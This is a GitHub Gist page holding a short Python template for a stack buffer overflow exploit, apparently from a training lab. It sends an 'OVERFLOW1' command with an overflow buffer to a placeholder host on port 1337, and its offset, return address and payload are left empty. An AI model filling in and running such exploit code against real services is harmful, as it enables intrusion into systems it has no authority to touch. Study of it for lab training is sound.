Created
February 10, 2021 11:16
-
-
Save an0th3rhuman/250866a7d0923603a4f96a4e14c6017d to your computer and use it in GitHub Desktop.
Stack bufferoverflow exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
ip = "MACHINE_IP" | |
port = 1337 | |
prefix = "OVERFLOW1 " | |
offset = 0 | |
overflow = "A" * offset | |
retn = "" | |
padding = "" | |
payload = "" | |
postfix = "" | |
buffer = prefix + overflow + retn + padding + payload + postfix | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
s.connect((ip, port)) | |
print("Sending evil buffer...") | |
s.send(buffer + "\r\n") | |
print("Done!") | |
except: | |
print("Could not connect.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment